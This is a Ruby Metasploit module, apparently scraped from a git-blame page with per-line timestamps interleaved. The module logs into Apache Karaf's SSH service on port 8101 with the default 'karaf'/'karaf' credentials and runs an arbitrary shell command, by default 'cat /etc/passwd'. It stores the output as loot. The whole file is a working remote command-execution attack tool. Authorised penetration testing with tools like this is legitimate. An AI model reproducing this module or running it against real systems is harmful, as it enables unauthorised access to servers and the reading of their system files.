2016-02-10 22:48:08 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'net/ssh'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2016-02-10 22:48:08 +00:00
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
include Msf::Auxiliary::Report
|
2016-03-14 05:32:59 +00:00
|
|
|
include Msf::Module::Deprecated
|
|
|
|
|
|
|
|
deprecated(Date.new(2016, 4, 14), 'auxiliary/scanner/ssh/apache_karaf_command_execution')
|
2016-02-10 22:48:08 +00:00
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "Apache Karaf Default Credentials Command Execution",
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a default misconfiguration flaw on Apache Karaf versions 2.x-4.x.
|
|
|
|
The 'karaf' user has a known default password, which can be used to login to the
|
|
|
|
SSH service, and execute operating system commands from remote.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Nicholas Starke <nick@alephvoid.com>'
|
|
|
|
],
|
|
|
|
'Platform' => 'unix',
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['Apache Karaf', {}],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DisclosureDate' => "Feb 9 2016",
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8101),
|
|
|
|
OptString.new('USERNAME', [true, 'Username', 'karaf']),
|
|
|
|
OptString.new('PASSWORD', [true, 'Password', 'karaf']),
|
|
|
|
OptString.new('CMD', [true, 'Command to Run', 'cat /etc/passwd'])
|
|
|
|
], self.class
|
|
|
|
)
|
|
|
|
|
|
|
|
register_advanced_options(
|
|
|
|
[
|
|
|
|
Opt::Proxies,
|
|
|
|
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
|
|
|
|
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
|
|
|
|
]
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def rport
|
|
|
|
datastore['RPORT']
|
|
|
|
end
|
|
|
|
|
|
|
|
def username
|
|
|
|
datastore['USERNAME']
|
|
|
|
end
|
|
|
|
|
|
|
|
def password
|
|
|
|
datastore['PASSWORD']
|
|
|
|
end
|
|
|
|
|
|
|
|
def cmd
|
|
|
|
datastore['CMD']
|
|
|
|
end
|
|
|
|
|
|
|
|
def do_login(user, pass, ip)
|
2016-06-24 18:55:28 +00:00
|
|
|
factory = Rex::Socket::SSHFactory.new(framework,self, datastore['Proxies'])
|
2016-02-10 22:48:08 +00:00
|
|
|
opts = {
|
2016-06-24 18:55:28 +00:00
|
|
|
:auth_methods => ['password'],
|
|
|
|
:msframework => framework,
|
|
|
|
:msfmodule => self,
|
|
|
|
:port => rport,
|
|
|
|
:use_agent => false,
|
|
|
|
:config => false,
|
|
|
|
:password => pass,
|
2016-02-10 22:48:08 +00:00
|
|
|
:record_auth_info => true,
|
2016-07-14 16:12:03 +00:00
|
|
|
:proxy => factory,
|
|
|
|
:non_interactive => true
|
2016-02-10 22:48:08 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
|
|
|
|
|
|
|
begin
|
|
|
|
ssh = nil
|
|
|
|
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
|
|
|
ssh = Net::SSH.start(ip, user, opts)
|
|
|
|
end
|
2016-02-25 20:46:53 +00:00
|
|
|
rescue OpenSSL::Cipher::CipherError => e
|
|
|
|
print_error("#{ip}:#{rport} SSH - Unable to connect to this Apache Karaf (#{e.message})")
|
|
|
|
return
|
2016-02-10 22:48:08 +00:00
|
|
|
rescue Rex::ConnectionError
|
|
|
|
return
|
|
|
|
rescue Net::SSH::Disconnect, ::EOFError
|
|
|
|
print_error "#{ip}:#{rport} SSH - Disconnected during negotiation"
|
|
|
|
return
|
|
|
|
rescue ::Timeout::Error
|
|
|
|
print_error "#{ip}:#{rport} SSH - Timed out during negotiation"
|
|
|
|
return
|
|
|
|
rescue Net::SSH::AuthenticationFailed
|
|
|
|
print_error "#{ip}:#{rport} SSH - Failed authentication"
|
|
|
|
rescue Net::SSH::Exception => e
|
|
|
|
print_error "#{ip}:#{rport} SSH Error: #{e.class} : #{e.message}"
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
if ssh
|
|
|
|
print_good("#{ip}:#{rport}- Login Successful with '#{user}:#{pass}'")
|
|
|
|
else
|
|
|
|
print_error "#{ip}:#{rport} - Unknown error"
|
|
|
|
end
|
|
|
|
ssh
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
print_status("#{ip}:#{rport} - Attempt to login...")
|
|
|
|
ssh = do_login(username, password, ip)
|
|
|
|
if ssh
|
|
|
|
output = ssh.exec!("shell:exec #{cmd}\n").to_s
|
|
|
|
if output
|
|
|
|
print_good("#{ip}:#{rport} - Command successfully executed. Output: #{output}")
|
|
|
|
store_loot("apache.karaf.command",
|
|
|
|
"text/plain",
|
|
|
|
ip,
|
|
|
|
output)
|
2016-02-14 17:19:20 +00:00
|
|
|
vprint_status("#{ip}:#{rport} - Loot stored at: apache.karaf.command")
|
2016-02-10 22:48:08 +00:00
|
|
|
else
|
|
|
|
print_error "#{ip}:#{rport} - Command failed to execute"
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2016-03-14 05:32:59 +00:00
|
|
|
end
|